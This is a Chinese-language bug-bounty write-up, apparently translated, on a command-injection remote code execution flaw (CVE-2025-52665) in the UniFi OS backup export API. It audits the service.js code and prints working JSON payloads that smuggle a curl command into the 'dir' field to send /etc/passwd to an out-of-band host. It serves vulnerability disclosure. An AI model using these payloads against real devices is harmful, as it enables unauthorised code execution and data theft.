侦察
在对目标环境进行网络侦察时,识别到 192.168.1.1 上的一个活动主机。当通过浏览器访问此 IP 时,可以看到 UniFi OS 登录界面,确认该设备正在运行基于 UniFi 的系统,该系统是一款 UDM(UniFi Dream Machine SE)系列路由器。

为了发现潜在的攻击面,测试人员转向了社区报告中备份操作和 API 行为相关的话题,发现多个论坛帖子提到了与以下端点相关的问题:
/api/ucore/backup/export

可以看到许多用户在多个组件(保护、网络、uum 等)中遇到了 500 内部服务器错误、ECONNREFUSED 和备份失败。
这充分表明备份系统是模块化的,通过环回 API 与各种内部服务进行交互,并且/api/ucore/backup/export 在这些组件中普遍使用。
如果该端点仅可通过 127.0.0.1 访问,那么它如何被外部访问并利用?
代码审计
为了理解编排路径,我们拉取了一个UniFi Core版本,解压它,并在service.js内部追踪了“备份/导出”的引用。
两个函数使流程变得明确,第一个,YO,构建了一个指向导出路由的环回URL,并发送了一个包含单个字段dir的JSON body。
var YO = async (e, t) => {
let r = `http://127.0.0.1:${e}/api/ucore/backup/export`,
o = await k(r, {
method: "POST",
body: JSON.stringify({ dir: t }),
headers: { "Content-Type": "application/json" }
});
if (!o.ok) throw new Error(`Request to ${r} failed, status: ${o.status}, text: ${await o.text()}`)
};

这里(e)是为目标应用程序模块(例如,网络、访问或保护)选择的端口,而(t)是从调用者那里起源的目录路径。
在此边界处没有验证,(dir) 的值被序列化到命中内部导出处理程序的请求中。
zf = async ({ port: e, outputDir: t, name: r }) => {
try {
let o = await bu(r); // validate version
if (!o) throw new Error(...); // halt if invalid
...
if (...) {
// Backup handled by another device via API
let i = await Te(n.mac).request({ type: "downloadBackup", name: r });
let c = Qo.join(t, Ji);
await _o.writeFile(c, i.body);
await x({ cwd: t, file: c }); // decompress or move archive
} else {
await Fe(() => YO(e, t), ...); // HERE: call the inner YO() function above
}
if (await Tu(t)) // check if backup folder is empty
throw new Error(`Backup directory for "${r}" is empty`);
await J("chmod", ["-R", "775", t]); // permission handling
let s = await AEe(t); // call `du -s` to get backup size
return { success: true, version: o, size: s };
} catch (o) {
return { success: false, err: _(o) };
}
}
第二个函数,zf,是高级控制器,它决定是否从另一个控制台获取备份,或者通过调用 YO(port, outputDir)来触发本地导出。
在调用之前,它确保输出目录存在,并使用 chmod 777 设置其权限,然后,在导出返回后,它验证目录不为空,递归地修复权限,并使用 du -s 测量大小。
如果在过程中有任何失败,它将使用目标应用程序名称记录失败,并将错误消息向上传递。实际上,zf 将 outputDir 输入到 YO 中,YO 然后将相同的路径传递给运行在本地的导出端点。

在审查 JS 代码后,测试人员得出结论,代码执行存在可能,编排器接受来自外部请求的 dir 值,将其原封不动地转发到 http://127.0.0.1:<appPort>/api/ucore/backup/export,然后导出处理程序在创建备份工作区(mktemp、chmod、tar)时构建 shell 命令,并插入该值。
由于 dir 没有进行验证或转义,shell 将其内部的元字符视为新命令。
漏洞利用
在枚举了 192.168.1.1 上的所有开放 TCP 端口后,测试人员运行了一个简短的循环来探测每个服务对路径/api/ucore/backup/export 的访问。
几个监听器返回了直接的 404,但端口 9780 回复了 405 Method Not Allowed。这个响应只有在路由存在但 HTTP 请求错误时才会发出,这表明处理程序可以从网络上访问,并且如果 POST 请求与协调器的请求匹配,它很可能会接受 POST 请求。
切换到了一个合适的 POST 请求,并设置了 Content-Type: application/json,复制在 service.js 中看到的 JSON 正文。
{"dir":"/tmp/catchify-lab; curl -s --data-binary @/etc/passwd http://test.oastify.com/"}

虽然成功使用分号跳出预期参数,但原始命令行的其余部分在执行curl后仍在解析,导致注入的命令在完成前出现解析或路径错误。
调整PoC,使其既能干净地终止注入的命令,又能通过注释来消除任何尾随的 shell 语法:
{
"dir":"/tmp/catchify-; curl -s --data-binary @/etc/passwd http://test.oastify.com/; #"
}

尾部空格干净地终止了 curl 注入命令,而井号#注释了原始行的其余部分。
通过调整, Collaborator 成功收到 HTTP POST 请求,从而顺利读取 到/etc/passwd。


漏洞时间线
- 漏洞报告提交:2025 年 10 月 9 日,18:14 UTC
- 漏洞分类:2025 年 10 月 9 日,19:40 UTC
- 漏洞修复,发布UniFi Access 4.0.21
- 获得奖金,$25,000
- 漏洞披露
原文:https://www.catchify.sa/post/cve-2025-52665-rce-in-unifi-os-25-000

